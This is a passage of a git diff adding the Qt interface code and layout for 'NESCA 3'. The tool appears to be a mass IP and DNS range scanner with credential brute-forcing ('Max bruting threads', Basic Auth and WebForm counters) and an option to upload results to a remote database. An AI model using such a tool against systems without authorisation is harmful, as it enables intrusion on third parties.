ui->ircText->append(rData); +}; +void nesca_3::appendDefaultIRCRawTextInc(QString str) +{ + QString rData; + if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str; + else rData = "[" + QTime::currentTime().toString() + "] " + str.toHtmlEscaped(); + globalIRCRaw += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircRaw->append(QString(wtf)); + } + else ui->ircRaw->append(rData); +}; +void nesca_3::appendDefaultIRCRawTextOut(QString str) +{ + QString rData; + if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed() + ""; + else rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + ""; + globalIRCRaw += rData + "\n"; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(rData); + ui->ircRaw->append(QString(wtf)); + } + else ui->ircRaw->append(rData); +}; +void nesca_3::slotClearNickList() +{ + ui->nickList->clear(); +}; +void nesca_3::slotAppendIRCNick(QString str) +{ + if(str.size() > 0 && str != " ") + { + ui->nickList->addItem(str.remove("@")); + ui->nickList->setGeometry(ui->nickList->x(), ui->nickList->y(), ui->nickList->width(), ui->nickList->count() * 17 + 5); + }; +}; +void nesca_3::slotItemClicked(QListWidgetItem* wi) +{ + if(privateMsgFlag == false) + { + QString pText = ui->shoutBox->text(); + ui->shoutBox->setText(pText + wi->text() + ", "); + ui->shoutBox->setFocus(); + } + else + { + ui->shoutBox->setText("/w " + wi->text().remove("@") + " "); + ui->shoutBox->setFocus(); + }; +}; +nesca_3::~nesca_3() +{ + delete[] ui; +} diff --git a/nesca_3.h b/nesca_3.h new file mode 100644 index 0000000..5c39a60 --- /dev/null +++ b/nesca_3.h @@ -0,0 +1,209 @@ +#ifndef nesca_3_H +#define nesca_3_H + +#pragma once +#include +#include +#include +#include +#include +#include +#include "ui_nesca_3.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern Ui::nesca_3Class *ui; +extern bool widgetIsHidden, IRCLogToggled, BALogSwitched, blinkFlag, disableBlink, debugFileOK, QOSWait, + connectedToIRC, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, + smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; +extern float QoSStep; +extern int MaxDataVal; +extern char endIP2[128], inputStr[256]; +extern SOCKET lSock; + +extern QVector vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst; +extern QVector vect; +extern QList lstOfLabels; +extern QSystemTrayIcon *tray; + +extern void ShowMsgPopup(QString str); + +class nesca_3 : public QMainWindow +{ + Q_OBJECT + +public: + nesca_3(QWidget *parent = 0); + ~nesca_3(); + + void ConnectEvrthng(); + void ChangeLabelIpRange_Value(QString str); + void ChangeLabelIPS_Value(QString str); + void newListItem(QString str); + static int perc; +private: + +protected: + bool eventFilter(QObject* obj, QEvent *event); + void run(); + + QString GetSSLContent(QString str); + void SSLConnect(QString str); + protected slots: + void MaxBrutingThr_ChangeValue(QString str); + void ThreadDelay_ChangeValue(QString val); + void ChangePingerOK(bool val); + void changeNSTrackLabel(bool status); + void slotPBUpdate(); + void DNSLine_ValueChanged(QString str); + void slotChangeCPModeToUTF(); + void slotChangeCPModeTo1251(); + void slotShowRedVersion(); + void ChangeDebugFileState(bool val); + void ChangeTopic(); + void slotIRCGetTopic(QString str); + void slotIRCOfflined(); + void slotUnhidePopup(QString str, QString senderNick); + void slotItemClicked(QListWidgetItem* wi); + void slotClearNickList(); + void slotAppendIRCNick(QString str); + void slotShowNicks(); + void slotBlinkMessage(); + void IPScanSeq(); + void DNSScanSeq(); + void ImportScanSeq(); + void smReaction(); + void slotShowDataflow(); + void slotOutData(QString ip, QString str); + void slotIncData(QString ip, QString str); + void slotShowServerMsg(QString str); + void slotSaveImage(QAction *qwe); + void slotUpdatePie(); + void slotClearLogs(); + void slotRestartIRC(); + void slotDrawVoiceGrid(int factor); + void slotDrawTextPlacers(); + void onLinkClicked(QUrl link); + void CheckPersKey(); + void CheckPersKey(int val); + void slotRestoreDefPorts(); + void ChangeNick(); + void setNickBox(QString str); + void SaySmthng(); + void ChangeIRCRawLog(); + void switchToJobMode(); + void ConnectToIRCServer(); + void CheckProxy(); + void ChangeDispalyMode(); + void switchDataFields(); + void importAndScan(); + void slotQoSAddGrid(); + void slotVoiceAddLine(); + void slotDrawDelimLines(); + void slotDrawActivityLine(QString data); + void slotDrawActivityGrid(); + void activateME2ScanScene(); + void activateQoSScanBut(); + void activateVoiceScanBut(); + void activatePieStatBut(); + void slotAddPolyLine(); + void slotQoSAddLine(); + void slotAddLine(int x1, int y1, int x2, int y2); + void slotDrawGrid(); + void exitButtonClicked(); + void trayButtonClicked(); + void mouseMoveEvent(QMouseEvent * event); + void mousePressEvent(QMouseEvent *event); + void mouseReleaseEvent(QMouseEvent *event); + void logoLabelClicked(); + void startScanButtonClicked(); + void startScanButtonClickedDNS(); + void saveOptions(); + void ChangeTrackerOK(bool val); + void ChangeShuffle(bool val); + void ChangeLabelThreads_ValueChanged(QString); + void PingTO_ChangeValue(QString); + void ChangeLabelTO_ValueChanged(QString); + void appendErrText(QString str); + void appendOKText(QString str); + void appendDebugText(QString str); + void appendNotifyText(QString str); + void appendDefaultText(QString str); + void appendRedIRCText(QString str); + void appendGreenIRCText(QString str); + void appendYellowIRCText(QString str); + void appendDefaultIRCText(bool, bool, int, QString str, QString s); + void appendDefaultIRCTextOut(QString str); + void appendDefaultIRCRawTextInc(QString str); + void appendDefaultIRCRawTextOut(QString str); + void appendGreenBAData(QString str); + void appendRedBAData(QString str); + void STTTerminate(); + void playFcknSound(); +private: + QPoint dragPosition; +}; +class PieStatView : public QGraphicsView +{ + Q_OBJECT +public: + PieStatView(QWidget *parent = 0) : QGraphicsView(parent) {}; +public: + void contextMenuEvent(QContextMenuEvent *event); +}; +class PopupMsgWidget : public QWidget +{ + Q_OBJECT +public: + PopupMsgWidget(QWidget* parent = 0) : QWidget(parent) + { }; + +public: signals: void clicked(bool checked = false); +protected: + bool switchWindows; + void mousePressEvent(QMouseEvent *evt) + { + switchWindows = false; + if (evt->button() == Qt::LeftButton) + { + switchWindows = true; + oldPos = evt->globalPos(); + evt->accept(); + } + else if (evt->button() == Qt::RightButton) + { + disableBlink = true; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + this->hide(); + }; + } + void mouseMoveEvent(QMouseEvent *evt) + { + switchWindows = false; + const QPoint delta = evt->globalPos() - oldPos; + move(x()+delta.x(), y()+delta.y()); + oldPos = evt->globalPos(); + } + void mouseReleaseEvent(QMouseEvent *evt) + { + if(switchWindows) + { + switchWindows = false; + emit ui->IRCModeBut->clicked(); + }; + } + + private: + QPoint oldPos; +}; + +#endif // nesca_3_H + diff --git a/nesca_3.qrc b/nesca_3.qrc new file mode 100644 index 0000000..8186192 --- /dev/null +++ b/nesca_3.qrc @@ -0,0 +1,6 @@ + + + Eurostile.ttf + Z:/nesca.ico + + diff --git a/nesca_3.rc b/nesca_3.rc new file mode 100644 index 0000000..88a9d60 Binary files /dev/null and b/nesca_3.rc differ diff --git a/nesca_3.ui b/nesca_3.ui new file mode 100644 index 0000000..1a30e30 --- /dev/null +++ b/nesca_3.ui @@ -0,0 +1,3891 @@ + + + nesca_3Class + + + + 0 + 0 + 500 + 800 + + + + + 500 + 400 + + + + + 500 + 800 + + + + true + + + true + + + NESCA 3 + + + + :/nesca_3/Z:/nesca.ico:/nesca_3/Z:/nesca.ico + + + 1.000000000000000 + + + + + + background-color: rgba(49, 49, 49,0); + + + + + + + + + 0 + 0 + 500 + 800 + + + + Qt::NoFocus + + + background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); + + + + true + + + + 10 + 50 + 481 + 161 + + + + + Eurostile + + + + border: 0.4px solid #818181;background-color: rgba(2, 2, 2, 0); + + + QTabWidget::North + + + QTabWidget::Rounded + + + 0 + + + Qt::ElideMiddle + + + false + + + true + + + false + + + false + + + + IP Scan + + + + + 190 + 110 + 75 + 23 + + + + + Eurostile + + + + + + + Start + + + + + + 110 + 20 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 1.1.1.1-255.255.255.255 + + + 31 + + + Qt::AlignCenter + + + 000.000.000.000-255.255.255.255 + + + + + + 110 + 50 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21 + + + 4096 + + + 80,81,8080,8888,21,6667,7000 + + + + + + 110 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 200 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 40 + 20 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + IP RANGE + + + + + + 54 + 50 + 34 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PORTS + + + + + + 40 + 80 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + THREADS + + + + + + 220 + 80 + 46 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TIMEOUT + + + + + + 280 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 3 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 337 + 52 + 67 + 16 + + + + + Eurostile + + + + Restore default ports + + + Restore default ports + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Default ports + + + + + + DNS Scan + + + + + 110 + 20 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + [09][az][0-] + + + 128 + + + Qt::AlignCenter + + + [09][az][0-][09][az][0-] + + + + + + 190 + 110 + 75 + 23 + + + + + Eurostile + + + + + + + Start + + + + + + 340 + 20 + 71 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + .mobi + + + 128 + + + Qt::AlignCenter + + + .mobi + + + + + + 110 + 50 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21 + + + 4096 + + + 80,81,8080,8888,21,6667,7000 + + + + + + 110 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 30 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 30 + 20 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + DNS RANGE + + + + + + 54 + 50 + 34 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PORTS + + + + + + 40 + 80 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + THREADS + + + + + + 220 + 80 + 46 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TIMEOUT + + + + + + 280 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 2 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 337 + 52 + 67 + 16 + + + + + Eurostile + + + + Restore default ports + + + Restore default ports + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Default ports + + + + + + Import + + + + + 190 + 110 + 75 + 23 + + + + + Eurostile + + + + + + + Import&&Scan + + + + + + 110 + 0 + 253 + 37 + + + + + Eurostile + 8 + 50 + false + false + false + + + + background-color: rgba(2, 2, 2, 0); +color: rgb(214, 214, 0); + + + Please, read about the import file in do_not_read.txt. + + + + + + 110 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 200 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 110 + 50 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21 + + + 80,81,8080,8888,21,6667,7000 + + + + + + 40 + 80 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + THREADS + + + + + + 54 + 50 + 33 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PORTS + + + + + + 220 + 80 + 46 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TIMEOUT + + + + + + 280 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 3 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 337 + 52 + 67 + 16 + + + + + Eurostile + + + + Restore default ports + + + Restore default ports + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Default ports + + + + + + 437 + 20 + 26 + 102 + + + + background-color:rgb(38, 38, 38); +border: 1px solid rgb(227, 227, 227); +border-radius: 3px; + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + + NS-Track + + + + + 30 + 100 + 208 + 17 + + + + + Eurostile + + + + d3w.org database (NDB) collects all found sites for structuring and further analysis. + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + Send results to NescaDatabase + + + true + + + + + + 250 + 10 + 121 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + /go/ + + + 256 + + + Qt::AlignCenter + + + Balancer script + + + + + + 30 + 10 + 211 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + balancer.d3w.org + + + 256 + + + Qt::AlignCenter + + + Balancer url + + + + + + 30 + 35 + 341 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none; + + + + + + 32 + + + Qt::AlignCenter + + + Your personal key here + + + + + + 379 + 10 + 62 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 80 + + + 5 + + + Qt::AlignCenter + + + Balancer port here + + + + + + 380 + 35 + 61 + 23 + + + + + Eurostile + + + + + + + Check key + + + + + + 30 + 116 + 276 + 17 + + + + + Eurostile + + + + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + [DEBUG] Write main output to file "./logs/output.txt" + + + false + + + + + + 30 + 84 + 75 + 17 + + + + + Eurostile + + + + Ping hosts before connection attempts. (For bad internet-providers) + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + Ping hosts: + + + Ctrl+S + + + false + + + + + false + + + + 108 + 86 + 51 + 15 + + + + + Eurostile + + + + color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none; + + + 2000 + + + 5 + + + Qt::AlignCenter + + + 100 + + + + + + 163 + 85 + 17 + 16 + + + + + Eurostile + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + ms + + + + + true + + + + 390 + 69 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 10 + + + 5 + + + Qt::AlignCenter + + + 100 + + + + + + 320 + 69 + 68 + 16 + + + + + Eurostile + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + Thread delay: + + + + + + 320 + 84 + 62 + 26 + + + + + Eurostile + 7 + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + Max bruting + threads: + + + + + true + + + + 390 + 89 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 200 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 30 + 68 + 100 + 17 + + + + + Eurostile + + + + Shuffle ip-ranges before scan. + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + Shuffle ip ranges + + + Ctrl+S + + + true + + + + + + + + 95 + 10 + 306 + 20 + + + + + Eurostile + 75 + true + false + + + + true + + + true + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + NESCA 3 :: Revealing the Unseen Horizon + + + Qt::PlainText + + + Qt::AlignCenter + + + true + + + + + Qt::NonModal + + + + 10 + 30 + 480 + 16 + + + + false + + + color: white;background-color: rgba(2, 2, 2, 0); + + + QFrame::Plain + + + Qt::Horizontal + + + + + + 470 + 10 + 10 + 20 + + + + background-color: rgba(0, 0, 0, 0); + + + X + + + + + + 20 + 230 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + Qt::LeftToRight + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Current IP: + + + + + + 20 + 260 + 61 + 20 + + + + + Eurostile + 8 + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Threads: + + + + + + 20 + 290 + 71 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Brute threads: + + + + + + 100 + 230 + 331 + 20 + + + + + 0 + 0 + + + + + Eurostile + + + + false + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + -- + + + + + + 100 + 260 + 81 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + 0/0 + + + + + + 100 + 290 + 61 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + + 20 + 350 + 61 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + IP/s: + + + + + + 100 + 350 + 106 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + + 20 + 445 + 453 + 326 + + + + + Consolas + PreferDefault + + + + background-color: rgb(26, 26,26); border: 1px solid white; + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html> + + + 5 + + + Qt::TextBrowserInteraction + + + true + + + false + + + + + + 20 + 375 + 73 + 20 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Saved/Online: + + + false + + + + + + 100 + 375 + 108 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0/0 + + + + + + 11 + 783 + 41 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Status: + + + false + + + + + + 51 + 783 + 101 + 10 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Idle + + + + + + 20 + 320 + 61 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Targets: + + + + + + 100 + 320 + 114 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + Qt::NonModal + + + + 10 + 210 + 480 + 16 + + + + false + + + color: white;background-color: rgba(2, 2, 2, 0); + + + QFrame::Plain + + + Qt::Horizontal + + + + + + 220 + 265 + 270 + 100 + + + + background-color: rgb(26, 26,26); border: 1px solid white; + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + true + + + + 235 + 370 + 8 + 5 + + + + background-color: red; visible: false; + + + + + + + + + 235 + 400 + 8 + 5 + + + + background-color: #52b4e5; + + + + + + + + + 370 + 370 + 8 + 5 + + + + background-color: green; + + + + + + + + + 235 + 385 + 8 + 5 + + + + background-color: blue; + + + + + + + + + 370 + 385 + 8 + 5 + + + + background-color: rgb(255, 85, 0); + + + + + + + + + 370 + 400 + 8 + 5 + + + + background-color: violet; + + + + + + + + + 250 + 368 + 91 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + Qt::RightToLeft + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Anomalies + + + Qt::AutoText + + + Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter + + + + + + 250 + 383 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Basic Auth + + + + + + 385 + 383 + 51 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Suspicious + + + + + + 385 + 368 + 91 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + WebForms + + + + + + 250 + 398 + 51 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Overloads + + + + + + 385 + 398 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Lowloads + + + + + + 11 + 10 + 21 + 20 + + + + border:none; background-color:black; + + + + + + + :/nesca_3/Z:/nesca.ico:/nesca_3/Z:/nesca.ico + + + + + + 370 + 415 + 8 + 5 + + + + background-color: white; + + + + + + + + + 385 + 413 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Alive + + + + + + 220 + 265 + 270 + 100 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 220 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :ME2 mode + + + + + + 281 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80); + + + :QoS mode + + + + + + 220 + 265 + 270 + 100 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + + 220 + 265 + 270 + 100 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 19 + 405 + 73 + 20 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Offline: + + + false + + + + + + 100 + 405 + 71 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + + 20 + 445 + 453 + 326 + + + + + Eurostile + + + + background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white; + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> + + + 5 + + + Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse + + + true + + + + + + 480 + 500 + 16 + 205 + + + + Brute activity + + + Brute activity + + + border: 1px solid rgb(216, 216, 216); +color: rgb(216, 216, 216); +background-color: #000000; + + + < + + + + + + 200 + 783 + 45 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + NS-Track: + + + false + + + + + + 373 + 780 + 100 + 16 + + + + border:1px solid white;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 373 + 780 + 100 + 16 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 162 + 265 + 328 + 181 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::HighQualityAntialiasing + + + QGraphicsView::CacheNone + + + + + + 342 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80); + + + :Voice mode + + + + + + 220 + 265 + 270 + 100 + + + + border:1px white solid;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 475 + 445 + 16 + 21 + + + + + 7 + + + + Clear logs + + + Clear logs + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + X + + + + + + 415 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 420 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 425 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 430 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 435 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 440 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 